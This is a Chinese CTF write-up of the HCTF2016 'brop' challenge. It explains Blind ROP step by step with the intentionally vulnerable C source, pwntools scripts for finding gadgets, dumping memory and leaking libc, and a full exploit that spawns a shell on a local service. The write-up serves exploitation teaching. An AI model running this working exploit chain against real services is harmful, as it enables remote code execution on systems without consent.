# 6.1.1 pwn HCTF2016 brop - [题目复现](#题目复现) - [BROP 原理及题目解析](#brop-原理及题目解析) - [Exploit](#exploit) - [参考资料](#参考资料) ## 题目复现 出题人在 github 上开源了代码,[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下: ```C #include #include #include int i; int check(); int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); puts("WelCome my friend,Do you know password?"); if(!check()) { puts("Do not dump my memory"); } else { puts("No password, no game"); } } int check() { char buf[50]; read(STDIN_FILENO, buf, 1024); return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); } ``` 使用下面的语句编译,然后运行起来: ``` $ gcc -z noexecstack -fno-stack-protector -no-pie brop.c ``` checksec 如下: ``` $ checksec -f a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 a.out ``` 由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,让程序在崩溃后立即重启,这样就模拟出了远程环境 `127.0.0.1:10001`: ```bash #!/bin/sh while true; do num=`ps -ef | grep "socat" | grep -v "grep" | wc -l` if [ $num -lt 5 ]; then socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & fi done ``` 在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。(不停地断开重连特别耗CPU,建议在服务器上跑) ## BROP 原理及题目解析 BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX和栈canaries的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。 实现这一攻击有两个必要条件: 1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它 2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。 下面我们结合题目来讲一讲。 #### 栈溢出 首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。 ```python def get_buffer_size(): for i in range(100): payload = "A" payload += "A"*i buf_size = len(payload) - 1 try: p = remote('127.0.0.1', 10001) p.recvline() p.send(payload) p.recv() p.close() log.info("bad: %d" % buf_size) except EOFError as e: p.close() log.info("buffer size: %d" % buf_size) return buf_size ``` ``` [*] buffer size: 72 ``` 要注意的是,崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72。该题并没有开启canary,所以跳过爆破的过程。 #### stop gadget 在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了: ```python def get_stop_addr(buf_size): addr = 0x400000 while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.recvline() p.close() log.info("stop address: 0x%x" % addr) return addr except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 ``` 由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 `sleep(0.1)` 做一定的缓冲,如果还是冲突,在 `except` 进行处理,后面的代码也一样。 ``` [*] stop address: 0x4005e5 ``` #### common gadget 有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget(有关该内容请参见章节4.7): ```python def get_gadgets_addr(buf_size, stop_addr): addr = stop_addr while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(addr) payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.recvline() p.close() log.info("find address: 0x%x" % addr) try: # check payload = "A"*buf_size payload += p64(addr) payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.recvline() p.close() log.info("bad address: 0x%x" % addr) except: p.close() log.info("gadget address: 0x%x" % addr) return addr except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 ``` 直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。 ``` [*] gadget address: 0x40082a ``` 有了通用 gadget,就可以得到 `pop rdi; ret` 的地址了,即 gadget address + 9。 #### puts@plt plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。 这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便: ```python def get_puts_plt(buf_size, stop_addr, gadgets_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret; addr = stop_addr while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) if p.recv().startswith("\x7fELF"): log.info("puts@plt address: 0x%x" % addr) p.close() return addr log.info("bad: 0x%x" % addr) p.close() except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 ``` 这里让 puts 打印出 `0x400000` 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 `\x7fELF`,方便进行验证。 ``` [*] puts@plt address: 0x4005e7 ``` 成功找到一个地址,它确实调用 puts,打印出了 `\x7fELF`,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。 ``` gdb-peda$ disassemble /r 0x4005f0 Dump of assembler code for function puts@plt: 0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018 0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0 0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0 End of assembler dump. ``` 不对呀,puts@plt 明明是在 `0x4005f0`,那么 `0x4005e7` 是什么鬼。 ``` gdb-peda$ pdisass /r 0x4005e7,0x400600 Dump of assembler code from 0x4005e7 to 0x400600: 0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24 0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 0x00000000004005f0 : ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018 0x00000000004005f6 : 68 00 00 00 00 push 0x0 0x00000000004005fb : e9 e0 ff ff ff jmp 0x4005e0 End of assembler dump. ``` 原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 `0x4005e7`。 #### remote dump 有了 puts,有了 gadget,就可以着手 dump 程序了: ```python def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret result = "" while start_addr < end_addr: #print result.encode('hex') sleep(0.1) payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(puts_plt) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes if data == "\n": data = "\x00" elif data[-1] == "\n": data = data[:-1] log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex'))) result += data start_addr += len(data) p.close() except: log.info("Can't connect") return result ``` 我们知道 puts 函数通过 `\x00` 进行截断,并且会在每一次输出末尾加上换行符 `\x0a`,所以有一些特殊情况需要做一些处理,比如单独的 `\x00`、`\x0a` 等,首先当然是先去掉末尾 puts 自动加上的 `\n`,然后如果 recv 到一个 `\n`,说明内存中是 `\x00`,如果 recv 到一个 `\n\n`,说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定,如果有 `\n\n`,它很可能在收到第一个 `\n` 时就返回了,加上参数可以让它全部接收完。 这里选择从 `0x400000` dump到 `0x401000`,足够了,你还可以 dump 下 data 段的数据,大概从 `0x600000` 开始。 #### puts@got 拿到 dump 下来的文件,使用 Radare2 打开,使用参数 `-B` 指定程序基地址,然后反汇编 `puts@plt` 的位置 `0x4005e7`,当然你要直接反汇编 `0x4005f0` 也行: ``` $ r2 -B 0x400000 code.bin [0x00400630]> pd 14 @ 0x4005e7 :::: 0x004005e7 25240a2000 and eax, 0x200a24 :::: 0x004005ec 0f1f4000 nop dword [rax] :::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1 :::: 0x004005f6 6800000000 push 0 `====< 0x004005fb e9e0ffffff jmp 0x4005e0 ::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1 ::: 0x00400606 6801000000 push 1 ; 1 `===< 0x0040060b e9d0ffffff jmp 0x4005e0 :: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1 :: 0x00400616 6802000000 push 2 ; 2 `==< 0x0040061b e9c0ffffff jmp 0x4005e0 : 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1 : 0x00400626 6803000000 push 3 ; 3 `=< 0x0040062b e9b0ffffff jmp 0x4005e0 ``` 于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。 #### attack 后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc,也就是目标机器上的 libc,通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址,构造 payload 就可以了。 ```python def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got): pop_rdi = gadgets_addr + 9 payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_addr) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) data = p.recvline() data = u64(data[:-1] + '\x00\x00') log.info("puts address: 0x%x" % data) p.close() return data ``` ``` [*] puts address: 0x7ffff7a90210 ``` 这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了: ``` $ ./add /usr/lib/libc-2.26.so Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so) -> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so -> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols -> Writing version info ``` 然后查询(ASLR 并不影响后 12 位的值): ``` $ ./find puts 210 /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570) $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 offset___libc_start_main_ret = 0x20f6a offset_system = 0x0000000000042010 offset_dup2 = 0x00000000000e8100 offset_read = 0x00000000000e7820 offset_write = 0x00000000000e78c0 offset_str_bin_sh = 0x17aff5 $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts offset_puts = 0x000000000006f210 ``` ```python offset_puts = 0x000000000006f210 offset_system = 0x0000000000042010 offset_str_bin_sh = 0x17aff5 system_addr = (puts_addr - offset_puts) + offset_system binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh # get shell payload = "A"*buf_size payload += p64(gadgets_addr + 9) # pop rdi; ret; payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_addr) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.interactive() ``` Bingo!!! ``` $ python2 exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ whoami firmy ``` ## Exploit 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.1_pwn_hctf2016_brop)相应文件夹中: ```python from pwn import * #context.log_level = 'debug' def get_buffer_size(): for i in range(100): payload = "A" payload += "A"*i buf_size = len(payload) - 1 try: p = remote('127.0.0.1', 10001) p.recvline() p.send(payload) p.recv() p.close() log.info("bad: %d" % buf_size) except EOFError as e: p.close() log.info("buffer size: %d" % buf_size) return buf_size def get_stop_addr(buf_size): addr = 0x400000 while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.recvline() p.close() log.info("stop address: 0x%x" % addr) return addr except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 def get_gadgets_addr(buf_size, stop_addr): addr = stop_addr while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(addr) payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.recvline() p.close() log.info("find address: 0x%x" % addr) try: # check payload = "A"*buf_size payload += p64(addr) payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.recvline() p.close() log.info("bad address: 0x%x" % addr) except: p.close() log.info("gadget address: 0x%x" % addr) return addr except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 def get_puts_plt(buf_size, stop_addr, gadgets_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret; addr = stop_addr while True: sleep(0.1) addr += 1 payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) if p.recv().startswith("\x7fELF"): log.info("puts@plt address: 0x%x" % addr) p.close() return addr log.info("bad: 0x%x" % addr) p.close() except EOFError as e: p.close() log.info("bad: 0x%x" % addr) except: log.info("Can't connect") addr -= 1 def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret result = "" while start_addr < end_addr: #print result.encode('hex') sleep(0.1) payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(puts_plt) payload += p64(stop_addr) try: p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes if data == "\n": data = "\x00" elif data[-1] == "\n": data = data[:-1] log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex'))) result += data start_addr += len(data) p.close() except: log.info("Can't connect") return result def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got): pop_rdi = gadgets_addr + 9 payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_addr) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) data = p.recvline() data = u64(data[:-1] + '\x00\x00') log.info("puts address: 0x%x" % data) p.close() return data #buf_size = get_buffer_size() buf_size = 72 #stop_addr = get_stop_addr(buf_size) stop_addr = 0x4005e5 #gadgets_addr = get_gadgets_addr(buf_size, stop_addr) gadgets_addr = 0x40082a #puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr) puts_plt = 0x4005e7 # fake puts #puts_plt = 0x4005f0 # true puts # dump code section from memory # and then use Radare2 or IDA Pro to find the got address #start_addr = 0x400000 #end_addr = 0x401000 #code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr) #with open('code.bin', 'wb') as f: # f.write(code_bin) # f.close() puts_got = 0x00601018 # you can also dump data from memory and get information from .got #start_addr = 0x600000 #end_addr = 0x602000 #data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr) #with open('data.bin', 'wb') as f: # f.write(data_bin) # f.close() # must close ASLR #puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got) puts_addr = 0x7ffff7a90210 # first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so # $ ./find puts 0x7ffff7a90210 # or $ ./find puts 210 # $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 # $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts # then you can get the following offset offset_puts = 0x000000000006f210 offset_system = 0x0000000000042010 offset_str_bin_sh = 0x17aff5 system_addr = (puts_addr - offset_puts) + offset_system binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh # get shell payload = "A"*buf_size payload += p64(gadgets_addr + 9) # pop rdi; ret; payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_addr) p = remote('127.0.0.1', 10001) p.recvline() p.sendline(payload) p.interactive() ``` ## 参考资料 - [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/) - [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/)